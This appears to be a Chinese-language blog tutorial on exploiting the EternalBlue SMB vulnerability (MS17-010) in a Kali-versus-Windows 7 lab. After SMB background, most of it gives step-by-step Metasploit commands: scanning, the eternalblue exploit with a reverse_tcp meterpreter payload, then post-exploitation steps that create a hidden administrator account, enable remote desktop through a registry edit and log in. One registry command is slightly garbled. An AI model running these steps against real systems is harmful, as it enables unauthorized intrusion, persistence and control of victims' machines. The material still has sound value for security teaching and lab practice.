永恒之蓝漏洞利用及攻击
1.基础知识介绍
什么是永恒之蓝漏洞?
代码语言:javascript复制 永恒之蓝是指2017年4月14日晚,黑客团体Shadow Brokers(影子经纪人)公布一大批网络攻击工具,其中包含“永恒之蓝”工具,
“永恒之蓝”利用Windows系统的SMB漏洞可以获取系统最高权限。5月12日,不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,
英国、俄罗斯、整个欧洲以及中国国内多个高校校内网、大型企业内网和政府机构专网中招,被勒索支付高额赎金才能解密恢复文件。
2.什么是SMB协议?
代码语言:javascript复制 SMB(全称是Server Message Block)是一个协议服务器信息块,它是一种客户机/服务器、请求/响应协议,通过SMB协议可以在计算机间
共享文件、打印机、命名管道等资源,电脑上的网上邻居就是靠SMB实现的;SMB协议工作在应用层和会话层,可以用在TCP/IP协议之上,
SMB使用TCP139端口和TCP445端口。
3.SMB工作原理是什么?
代码语言:javascript复制 (1):首先客户端发送一个SMB negport 请求数据报,,并列出它所支持的所有SMB的协议版本。服务器收到请求消息后响应请求,并列出希望
使用的SMB协议版本。如果没有可以使用的协议版本则返回0XFFFFH,结束通信。
(2):协议确定后,客户端进程向服务器发起一个用户或共享的认证,这个过程是通过发送SessetupX请求数据包实现的。客户端发送一对用户
名和密码或一个简单密码到服务器,然后通过服务器发送一个SessetupX应答数据包来允许或拒绝本次连接。
(3):当客户端和服务器完成了磋商和认证之后,它会发送一个Tcon或TconX SMB数据报并列出它想访问的网络资源的名称,之后会发送一个
TconX应答数据报以表示此次连接是否接收或拒绝。
(4):连接到相应资源后,SMB客户端就能够通过open SMB打开一个文件,通过read SMB读取文件,通过write SMB写入文件,通过
close SMB关闭文件。
2.实验环境准备
1.使用kali作为攻击机,windows7(旗舰版)作为靶机,靶机IP地址未知,但kali和靶机均在同一个网段,可ping通
2.kali的地址为自动获取
3.本次实验还可以用到Nessus对靶机系统进行扫描,确认有无永恒之蓝漏洞 4.获取kali自身的IP地址 使用命令 ifconfig
,和windows版本不同。windows下查看IP命令为ipconfig
查看如图:
可以看到,kali的IP地址为192.168.219.129 接下来,使用kali命令netdiscover
对网络存活主机进行发现
一般情况下,第一个IP地址和最后一个IP地址可能性并不大 5.登录Nessus,对靶机系统进行扫描,确认有无永恒之蓝漏洞
登录进来后,创建一个新扫描
一般选择Basic Network Scan
或者Advanced Scan
就可以很好的扫描目标系统 创建一个新扫描,输入名称和要扫描IP,进行扫描,扫描将花费几分钟的时间,请耐心等待
6.使用msf对永恒之蓝漏洞进行利用和攻击 在扫描结果发现了如下漏洞,证明其存在永恒之蓝漏洞,可以进行破解(MS17-010为永恒之蓝漏洞编号)
1.在kali下输入命令msfconsole
启动msf 如图:出现以下界面则表示启动成功
2.搜索ms17_010:search ms17_010
其中auxil iary/ scanner/ smb/ smb/ms17010
为扫描模块,用于对目标是否存在永恒之蓝漏洞进行确认exploit /wi ndows/ smb/ms17 010 eternalblue
为攻击模块,用于对存在永恒之蓝漏洞的目标进行攻击
3.使用use auxiliary/scanner/smb/smb_ms17_010
模块进行分析
4.使用show options
查看模块情况
此时如果不知道应该使用什么命令,则输入options来获得帮助
在此,只关注两个命令:RHOSTS和THREADS,RHOSTS是要扫描的主机(主机段),THREADS是线程,默认是1,开始使用线程加快扫描
5.设置攻击地址,并run运行,提示貌似存在永恒之蓝漏洞(MS17-010)
代码语言:javascript复制set RHOST 目标IP地址
run 运行
标红处说明这里貌似存在永恒之蓝漏洞,使用msf这样做也可以达到一个确认是否存在永恒之蓝漏洞的功能
设置攻击模块,并设置攻击IP地址,并run运行
6.输入 use exploit/windows/smb/ms17_010_eternalblue
选择攻击模块进行攻击
设置攻击载荷:set payload windows/x64/meterpreter/reverse_tcp
设置监听主机(kali):set lhost kali的IP地址
利用exploit进行攻击:exploit
当出现 meterpreter > 时,则说明攻击成功
漏洞利用
1.显示远程主机系统信息:sysinfo
2.查看用户身份:getuid
3.对远程主机当前屏幕进行截图:screenshot
4.获得shell控制台:shell
5.输入chcp 65001即可消除乱码
6.新建一个用户 名为test,密码为123456,并提升为管理员用户
代码语言:javascript复制net user test 123456 /add 创建test用户,密码为:123456
代码语言:javascript复制net localgroup administrators test /add 将test用户拉入管理员组,提升为管理员用户
7.使用REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f2
打开被攻击主机远程登录端口
8.在kali中使用rdesktop 目标的ip地址
进行远程连接,用户名和密码为刚才新建的test用户
顺利弹出远程连接窗口,输入账号密码
自此,利用永恒之蓝漏洞攻击一台主机就结束了,现在只有一些低版本的电脑没有打ms17_010的补丁,windows7 以上版本几乎都没有这个漏洞了